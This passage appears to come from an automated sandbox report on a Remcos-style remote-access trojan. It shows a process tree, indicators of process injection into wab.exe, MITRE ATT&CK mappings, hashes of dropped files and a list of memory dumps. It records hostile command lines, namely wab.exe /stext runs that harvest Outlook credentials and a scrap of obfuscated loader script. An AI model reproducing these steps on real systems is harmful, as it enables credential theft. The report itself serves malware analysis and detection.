S.mmenbPhotolosSlopekotSall,wnrundermiiBeshowenRescripgMe ingo(inds ns$Tyra,nis SvejsevOpfrendeSunetted VaporieCtenoph,Tred,te$BeredskLTran.ceyPrele,tkAnticris Ba kspaBnnespil Similii EtagebgUni,plagEndang rBls rkleFrontalrRegnvaa)Frerska ');Druides $Scissile;"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3356
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Snitmnstrets.Str && echo t"
      4⤵
      PID:5104
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetThreadContext
      Suspicious behavior: MapViewOfSection
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:4208
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\apmdfwmdujich"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:4852
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\lrzogpweirahjucxl"
        5⤵
        Accesses Microsoft Outlook accounts
        
        PID:4824
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\nlehhhhywztuuaqbvdxe"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2552

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

logs.dat

Path C:\ProgramData\remcos\logs.dat
Size 144B
SHA256 cbddf1ffecee2be90414a10288619f18bae30992d2dc55ebb8d64043ce77503b
MD5 d9262ac4b266a6ff4aa27e35938ab8fb
SHA1 f5dc5aa74e3c6d2914ea3c26c78b325a231e84c4
SHA512 8ef9648d3fda12c96ab39344a0ed0c6ba262aaaa27f9c168d9a37905e7c2c9dd2258243a8504788834479e7f850577815016ac4172c41d6f1b4570a39c2f17de
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_fpox35ju.1vn.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fpox35ju.1vn.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

apmdfwmdujich

Path C:\Users\Admin\AppData\Local\Temp\apmdfwmdujich
Size 4KB
SHA256 c26d371c3209dea4e8cb298ab279746f0209643a1ef95ff627e2cfe193be838b
MD5 1d22632ab7786a15873206bd9aeaaf47
SHA1 f982816e813cfdd43ad3339fa6ca7bf2425651e7
SHA512 456ee2bf5faefb56b5c9864ecb340293412c0ab50d47ff8ead5b0db88f3e61e74278a46063d4b816e1143020344add8bfd8f6baac142d984693e0d7be72e4ae0
SSDEEP 48:wvvv0Q6xfvvcQ6xfdvv0Q6xBvv0Q6xakvv0Q67:mvIxvQp1vIPvIbvI7
MD5 SHA1 SHA512 SSDEEP

Submit Download

Snitmnstrets.Str

Path C:\Users\Admin\AppData\Roaming\Snitmnstrets.Str
Size 438KB
SHA256 4bc17900b72f622b0715229160df4b93d51fa9a0a20f8681be08b8be96aacd50
MD5 8728fa76136af5eaf5a3fb2b5bf7a2aa
SHA1 16be00e4ad84e792d8882305ccf83928200be403
SHA512 e074cc191139296e3137937d4762ffc1154fb8a04709d07b1b24dfc0b6ecac02e0d7e4195701fdcea453507a0be1e91b4ff22578383b92b5f4cbd975d1a5167a
SSDEEP 6144:W79DvNorL8aE9pfHf703c6j0mP7S7se9/VEbIiH+fQVWj0YkKerEdKyz:WpDmk/pf/7f6gmAseFmbIiH+fQVWx
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/2552-58-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/2552-57-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/2552-53-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/3356-33-0x0000000007010000-0x000000000702A000-memory.dmp

Download

memory/3356-16-0x0000000005250000-0x0000000005878000-memory.dmp

Download

memory/3356-19-0x0000000005190000-0x00000000051F6000-memory.dmp

Download

memory/3356-29-0x00000000058C0000-0x0000000005C14000-memory.dmp

Download

memory/3356-30-0x0000000005EF0000-0x0000000005F0E000-memory.dmp

Download

memory/3356-31-0x0000000005F10000-0x0000000005F5C000-memory.dmp

Download

memory/3356-32-0x00000000076C0000-0x0000000007D3A000-memory.dmp

Download

memory/3356-17-0x0000000005000000-0x0000000005022000-memory.dmp

Download

memory/3356-35-0x0000000007130000-0x0000000007152000-memory.dmp

Download

memory/3356-34-0x00000000071A0000-0x0000000007236000-memory.dmp

Download

memory/3356-36-0x00000000082F0000-0x0000000008894000-memory.dmp

Download

memory/3356-18-0x00000000050B0000-0x0000000005116000-memory.dmp

Download

memory/3356-38-0x00000000088A0000-0x000000000AE5F000-memory.dmp

Download

memory/3356-15-0x00000000025C0000-0x00000000025F6000-memory.dmp

Download

memory/3548-40-0x00007FFF22B90000-0x00007FFF23651000-memory.dmp

Download

memory/3548-39-0x00007FFF22B93000-0x00007FFF22B95000-memory.dmp

Download

memory/3548-47-0x00007FFF22B90000-0x00007FFF23651000-memory.dmp

Download

memory/3548-0-0x00007FFF22B93000-0x00007FFF22B95000-memory.dmp

Download

memory/3548-12-0x00007FFF22B90000-0x00007FFF23651000-memory.dmp

Download

memory/3548-11-0x00007FFF22B90000-0x00007FFF23651000-memory.dmp

Download

memory/3548-1-0x000002ABF3D70000-0x000002ABF3D92000-memory.dmp

Download

memory/4208-49-0x0000000000E30000-0x0000000002084000-memory.dmp

Download

memory/4208-77-0x0000000000E30000-0x0000000002084000-memory.dmp

Download

memory/4208-98-0x0000000000E30000-0x0000000002084000-memory.dmp

Download

memory/4208-95-0x0000000000E30000-0x0000000002084000-memory.dmp

Download

memory/4208-92-0x0000000000E30000-0x0000000002084000-memory.dmp

Download

memory/4208-89-0x0000000000E30000-0x0000000002084000-memory.dmp

Download

memory/4208-86-0x0000000000E30000-0x0000000002084000-memory.dmp

Download

memory/4208-65-0x0000000020280000-0x0000000020299000-memory.dmp

Download

memory/4208-68-0x0000000020280000-0x0000000020299000-memory.dmp

Download

memory/4208-69-0x0000000020280000-0x0000000020299000-memory.dmp

Download

memory/4208-71-0x0000000000E30000-0x0000000002084000-memory.dmp

Download

memory/4208-74-0x0000000000E30000-0x0000000002084000-memory.dmp

Download

memory/4208-42-0x0000000000E30000-0x0000000002084000-memory.dmp

Download

memory/4208-83-0x0000000000E30000-0x0000000002084000-memory.dmp

Download

memory/4824-59-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/4824-52-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/4824-55-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/4852-51-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/4852-54-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/4852-56-0x0000000000400000-0x0000000000478000-memory.dmp

Download